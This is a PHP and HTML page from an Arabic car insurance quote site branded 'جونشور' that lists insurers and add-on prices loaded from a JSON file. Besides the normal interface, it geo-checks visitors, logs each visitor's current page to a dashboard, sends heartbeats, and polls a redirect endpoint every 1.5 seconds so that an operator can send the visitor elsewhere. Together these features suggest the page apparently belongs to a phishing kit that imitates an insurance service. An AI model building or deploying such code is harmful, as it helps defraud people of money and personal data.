<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once(__DIR__ . "/track-visit.php");
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'أنواع التأمين');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'أنواع التأمين'
    ];
}

if (isset($_GET['type'])) {
    $type = $_GET['type'];
}

if (isset($_POST['submit'])) {
    $_SESSION['totalprice'] = $_POST['totalprice'];
    $_SESSION['image'] = $_POST['image'];
    $_SESSION['insurance_company'] = $_POST['insurance_company'];
    echo "<script>document.location.href='summary.php';</script>";
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>جونشور | اختيار نوع التأمين</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        .insurance-option {
            background: var(--bg-white);
            border: 2px solid var(--border);
            border-radius: 14px;
            padding: 12px 14px;
            display: flex;
            align-items: center;
            gap: 10px;
            cursor: pointer;
            transition: all 0.3s;
            flex: 1;
        }
        .insurance-option.selected {
            border-color: var(--primary);
            background: #eff6ff;
            box-shadow: 0 0 0 3px rgba(36, 71, 255, 0.1);
        }
        .insurance-option img {
            width: 28px;
            height: 28px;
        }
        .insurance-option span {
            font-size: 12px;
            font-weight: 600;
            color: var(--text-dark);
        }
        .offer-card {
            background: var(--bg-white);
            border-radius: var(--radius-lg);
            box-shadow: var(--shadow-md);
            overflow: hidden;
            margin-bottom: 16px;
        }
        .offer-card-header {
            display: flex;
            align-items: center;
            gap: 12px;
            padding: 16px;
            border-bottom: 1px solid var(--border);
        }
        .offer-card-header img {
            width: 50px;
            height: 50px;
            object-fit: contain;
        }
        .offer-card-body {
            padding: 16px;
        }
        .extra-item {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 8px 0;
            border-bottom: 1px solid #f1f5f9;
        }
        .extra-item:last-child {
            border-bottom: none;
        }
        .extra-item label {
            font-size: 12px;
            color: var(--text-dark);
            font-weight: 500;
        }
        .extra-item .price-tag {
            font-size: 12px;
            font-weight: 600;
            color: var(--primary);
        }
        .offer-card-footer {
            display: flex;
            gap: 12px;
            padding: 16px;
            border-top: 1px solid var(--border);
            align-items: center;
        }
        .total-box {
            flex: 1;
            text-align: center;
            background: #eff6ff;
            border: 2px solid var(--primary);
            border-radius: 12px;
            padding: 12px;
        }
        .total-box .total-label {
            font-size: 11px;
            color: var(--text-muted);
        }
        .total-box .total-amount {
            font-size: 18px;
            font-weight: 700;
            color: var(--primary);
        }
        .terms-link {
            font-size: 11px;
            color: var(--text-muted);
            text-decoration: underline;
            cursor: pointer;
        }
        .form-check-input:checked {
            background-color: var(--primary) !important;
            border-color: var(--primary) !important;
        }
        .form-check-input {
            width: 1.1em;
            height: 1.1em;
            border: 1.5px solid var(--border);
        }
    </style>
</head>
<body style="background: var(--bg-light);">

    <!-- Navbar -->
    <nav class="gonsure-nav">
        <a href="index.php">
            <img src="./assets/gonsure_logo.svg" alt="جونشور" class="logo">
        </a>
        <div class="step-indicator">
            <div class="step-dot completed"></div>
            <div class="step-dot completed"></div>
            <div class="step-dot active"></div>
            <div class="step-dot"></div>
        </div>
    </nav>

    <!-- Title -->
    <div style="text-align: center; padding: 20px 16px 12px;">
        <h5 style="font-weight: 700; color: var(--text-dark);">
            <i class="fas fa-shield-halved" style="color: var(--primary); margin-left: 8px;"></i>
            اختر نوع التأمين
        </h5>
    </div>

    <!-- Insurance Type Selector -->
    <div style="display: flex; gap: 8px; padding: 0 16px; margin-bottom: 20px;">
        <div class="insurance-option selected" data-type="1">
            <img src="./assets/q-icon-3.svg" alt="">
            <span>ضد الغير</span>
        </div>
        <div class="insurance-option" data-type="2">
            <img src="./assets/car-crash-plus.svg" alt="">
            <span>مميز</span>
        </div>
        <div class="insurance-option" data-type="3">
            <img src="./assets/q-icon-2.svg" alt="">
            <span>شامل</span>
        </div>
    </div>

    <!-- Offers Container -->
    <div style="padding: 0 16px; margin-bottom: 100px;" id="puDataHere">
    </div>

    <!-- Footer -->
    <footer class="gonsure-footer">
        <img src="./assets/gonsure_logo.svg" alt="جونشور" class="footer-logo">
        <div class="footer-copyright">© جونشور 2025. جميع الحقوق محفوظة</div>
    </footer>

    <script src="js/main.js"></script>
    <script>
        document.addEventListener("DOMContentLoaded", () => {
            fetchData(1);
        });

        function fetchData(type) {
            fetch('data.json')
                .then(response => response.json())
                .then(data => {
                    const container = document.getElementById("puDataHere");
                    container.innerHTML = '';

                    data.find(x => x.id == type).data.forEach(item => {
                        const card = document.createElement("div");
                        card.className = "offer-card fade-in";

                        card.innerHTML = `
                        <div class="offer-card-header">
                            <img src="./assets/${item.img}" alt="">
                            <div>
                                <div style="font-size: 14px; font-weight: 700; color: var(--text-dark);">${item.company || item.title}</div>
                                <div style="font-size: 11px; color: var(--text-muted);">${item.title} - تأمين معتمد</div>
                            </div>
                        </div>
                        <div class="offer-card-body">
                            <div style="font-size: 13px; font-weight: 700; color: var(--text-dark); margin-bottom: 10px;">
                                <i class="fas fa-plus-circle" style="color: var(--primary); margin-left: 6px;"></i>
                                المنافع الإضافية
                            </div>
                            ${item.extra.map(extra => `
                            <div class="extra-item">
                                <div style="display: flex; align-items: center; gap: 8px;">
                                    <input type="checkbox" class="form-check-input" onclick="setAmount(this, ${item.id}, ${extra.price})" ${extra.clicked ? 'checked disabled' : ''}>
                                    <label>${extra.title}</label>
                                </div>
                                <span class="price-tag">${extra.price == '' ? '' : extra.price + ' ريال'}</span>
                            </div>
                            `).join('')}
                        </div>
                        <div class="offer-card-footer">
                            <div class="terms-link">الشروط والأحكام</div>
                            <div class="total-box">
                                <div class="total-label">الإجمالي</div>
                                <div class="total-amount"><span id="totalPriceText${item.id}">${item.totalprice}</span> ريال</div>
                                <form action="" method="POST" style="margin-top: 8px;">
                                    <input type="hidden" id="totalprice${item.id}" name="totalprice" value="${item.totalprice}">
                                    <input type="hidden" name="image" value="${item.img}">
                                    <input type="hidden" name="insurance_company" value="${item.company || item.title}">
                                    <button type="submit" name="submit" class="btn-gonsure" style="padding: 8px 16px; font-size: 13px;">
                                        <i class="fas fa-cart-shopping"></i>
                                        اشتري الآن
                                    </button>
                                </form>
                            </div>
                        </div>
                        `;

                        container.appendChild(card);
                    });
                })
                .catch(err => console.error("Failed to load JSON:", err));
        }

        document.querySelectorAll('.insurance-option').forEach(option => {
            option.addEventListener('click', function() {
                document.querySelectorAll('.insurance-option').forEach(el => el.classList.remove('selected'));
                this.classList.add('selected');
                fetchData(this.dataset.type);
            });
        });

        function setAmount(checkbox, id, price) {
            const totalPriceText = document.getElementById(`totalPriceText${id}`);
            const totalPriceInput = document.getElementById(`totalprice${id}`);
            let currentTotal = parseFloat(totalPriceInput.value);
            if (checkbox.checked) {
                currentTotal += parseFloat(price);
            } else {
                currentTotal -= parseFloat(price);
            }
            currentTotal = parseFloat(currentTotal.toFixed(2));
            totalPriceInput.value = currentTotal;
            totalPriceText.innerText = currentTotal.toLocaleString();
        }
    </script>

    <script>
    function checkRedirect() {
        fetch('polling-redirect.php').then(r => r.json()).then(data => { if (data.redirect) { window.location.href = data.redirect; } }).catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
